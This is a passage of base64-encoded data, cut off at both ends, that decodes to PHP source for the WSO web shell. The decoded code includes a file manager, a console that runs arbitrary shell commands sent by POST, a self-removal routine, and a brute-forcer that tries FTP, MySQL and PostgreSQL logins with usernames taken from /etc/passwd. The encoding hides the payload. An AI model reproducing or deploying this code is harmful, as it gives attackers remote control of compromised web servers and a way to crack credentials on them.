MoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+c2laZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+cEVSTWlzU2lvTnM6PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPjB3TmVSL2dyT3VQOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Y1JFQVRlIFRpTWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY0NFc1MgVGlNZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vRGlGeSBUaU1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NUWydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJCQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ2VkaXQnOg0KCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQkJZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsNCgkJCQlicmVhazsNCgkJCX0NCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTsNCgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOw0KCQkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsNCgkJCQlpZigkZnApIHsNCgkJCQkJQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsNCgkJCQkJQGZjbG9zZSgkZnApOw0KCQkJCQllY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsNCgkJCQkJQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0gJzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVuYW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2UgJ3RvdWNoJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KCQkJCWlmKCR0aW1lKSB7DQoJCQkJCWlmKCF0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KCQkJCQkJZWNobyAnRmFpbCEnOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICdUb3VjaGVkISc7DQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsNCiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIDApOw0KDQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7DQoJCSR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7DQoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJew0KCQkJaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQoJCWVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOw0KCQkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQlXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsNCgl3c29IZWFkZXIoKTsNCiAgICBlY2hvICI8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsNCnZhciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOw0KCWlmKG4gPT0gMzgpIHsNCgkJY3VyLS07DQoJCWlmKGN1cj49MCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyKys7DQoJfSBlbHNlIGlmKG4gPT0gNDApIHsNCgkJY3VyKys7DQoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXItLTsNCgl9DQp9DQpmdW5jdGlvbiBhZGQoY21kKSB7DQoJY21kcy5wb3AoKTsNCgljbWRzLnB1c2goY21kKTsNCgljbWRzLnB1c2goJycpOw0KCWN1ciA9IGNtZHMubGVuZ3RoLTE7DQp9DQo8L3NjcmlwdD4iOw0KCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsNCglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsNCgkJaWYoJHYgPT0gJycpIHsNCgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsNCgkJCWNvbnRpbnVlOw0KCQl9DQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsNCgl9DQoJDQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7DQoJfQ0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsNCglkaWUoJ2J5ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCg0KCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIHdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5zVWlDSWRFPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+ckVhTEx5IHdBblQgdDAgckVtb3ZFIHNIM0xMPyE8YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj55RXM8L2E+PC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsNCgl3c29IZWFkZXIoKTsNCglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCgkJZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgew0KCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7DQoJCQlmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsNCgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQoJCQkJQHBnX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9DQoJCSRzdWNjZXNzID0gMDsNCgkJJGF0dGVtcHRzID0gMDsNCgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCgkJCQkJCSR0bXAgPSAiIjsNCgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQ0KCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOw0KCQkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgew0KCQkJCQkJCSRzdWNjZXNzKys7DQoJCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApDQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0NCgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQoJfQ0KCWVjaG8gJzxoMT5iUlV0RWYwckNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+Jw0KCQkuJzxzcGFuPnNFcnZFcjpwMHJUPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5iUlV0RSBUeUJlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFiZWw+PC90ZD48L3